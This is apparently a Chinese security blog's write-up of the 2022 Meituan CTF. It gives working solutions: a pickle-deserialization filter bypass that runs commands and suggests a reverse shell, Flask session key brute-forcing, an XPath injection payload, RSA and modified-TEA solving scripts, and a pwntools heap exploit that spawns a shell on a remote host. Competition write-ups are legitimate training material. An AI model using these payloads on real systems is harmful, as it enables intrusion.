点击蓝字 · 关注我们
1
easypickle
app.py
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
通过制定4位密码,使用flask-unsign模块
flask-unsign -u -c "eyJ1c2VyIjoibmlpbWQifQ.YyWuLQ.0cA5d6Yw0YLgq2_-ONSmWixQO0o" --
wordlist /test/1.txt --no-literal-eval
爆破出SECRET_KEY
admin路由下,对ser_data进行正则替换,然后过滤R,i,o,b字符
绕过思路 由于上面将os用Os进行替换,然后我们可以使用o命令,
b'''(cos system S'whoami' o.'''
发现通过添加s字符,命令依旧会执行
b'''(cos system S'whoami' os.'''
o命令加上s字符,再被替换之后,就会导致o命令 Os
b'''(cOs system S'whoami' Os.'''
从绕过R,i,o,b字符检测
而后pickle反序列化则是从session里面重新读值,从而命令执行
反弹shell即可,
在/app/下 读取flag
FLAG
flag{36ca83fd-bcaf-479b-8e0a-5b53d614c9ce}
2
babyjava
先依次爆破一下根节点数量 名字和长度,得到root/user/username
POST /hello HTTP/1.1
Host: eci-2zeetzz54w4b5lmj8qup.cloudeci1.ichunqiu.com:8888
Content-Length: 67
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zeetzz54w4b5lmj8qup.cloudeci1.ichunqiu.com:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zeetzz54w4b5lmj8qup.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
xpath=x' or substring((/root/user[1]/username[2]),§10§,1)='§T§' and ''='
直接爆破出flag
1
strange_rsa1
gift=p/q
n/gift=q*q
这里有个问题,q是个小数,需要找到下一个素数,尝试了半天python,发现一直有问题,后来用sage跑的。
用sage跑出p和q
10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369
python跑一下脚本就出了。
import gmpy2
p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
q = 10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369
e = 0x10001
s = (p-1)*(q-1)
d = gmpy2.invert(e,s)
m = pow(c,d,n)
print(long_to_bytes(m))
1
re_1 : small
魔改tea加密
程序用IDA载入会报错,IDA无法正常分析
不过没关系,文件这么小,直接强读汇编
魔改tea加密,魔改了循环次数
解密脚本如下:
#tea
from ctypes import *
def decrypt(v, k):
v0, v1 = c_uint32(v[0]), c_uint32(v[1])
delta = 0x67452301
k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
total = c_uint32(delta * 35)
for i in range(35):
v1.value -= ((v0.value<<4) + k2) ^ (v0.value + total.value) ^ ((v0.value>>5) + k3)
v0.value -= ((v1.value<<4) + k0) ^ (v1.value + total.value) ^ ((v1.value>>5) + k1)
total.value -= delta
return v0.value, v1.value
from Crypto.Util.number import long_to_bytes
# test
flag = b""
if __name__ == "__main__":
tt = [0xDE087143, 0xC4F91BD2, 0xDAF6DADC, 0x6D9ED54C, 0x75EB4EE7, 0x5D1DDC04, 0x511B0FD9, 0x51DC88FB]
for i in range(0,8,2):
value = [tt[i],tt[i+1]]
key = [0x1, 0x23, 0x45, 0x67]
res = decrypt(value, key)
# print("Decrypted data is : ", hex(res[0]), hex(res[1]))
flag += (long_to_bytes(res[0]))[::-1]
flag += (long_to_bytes(res[1]))[::-1]
print(flag)
print(len(flag))
flag{327a6c4304ad5938eaf0efb6cc3e53dc}
1
note
#!usr/bin/env python
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./note')
DEBUG = 0
if DEBUG:
p = process('./note')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
else:
ip = '39.106.78.22'
port = 13535
libc = ELF("./libc-2.31.so")
p = remote(ip, port)
def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
def add(size, content):
p.sendlineafter(b"5. leaven", b'1')
p.recvuntil(b"Size: ")
p.sendline(str(size).encode('ascii'))
p.recvuntil(b"Content: ")
p.send(content)
def edit(idx, content):
p.sendlineafter(b"5. leaven", b'3')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"Content: ")
p.send(content)
def show(idx):
p.sendlineafter(b"5. leaven", b'2')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))
def free(idx):
p.sendlineafter(b"5. leaven", b'4')
p.recvuntil(b" ")
p.sendline(str(idx).encode('ascii'))
pop_ret = 0x00000000004017b3
for i in range(9):
add(0x100, b'a')
for i in range(8):
free(i)
add(0x80, b'deadbeef')
show(0)
p.recvuntil(b'deadbeef')
leak = u64(p.recv(6).ljust(8, b'x00')) - 0x1ecce0
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
#debug()
edit(-4, p64(0) + p64(0x000000000040101a) + p64(pop_ret) + p64(binsh) + p64(sys))
p.interactive()
Tip
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):第五届2022美团CTF-WriteUp By EDISEC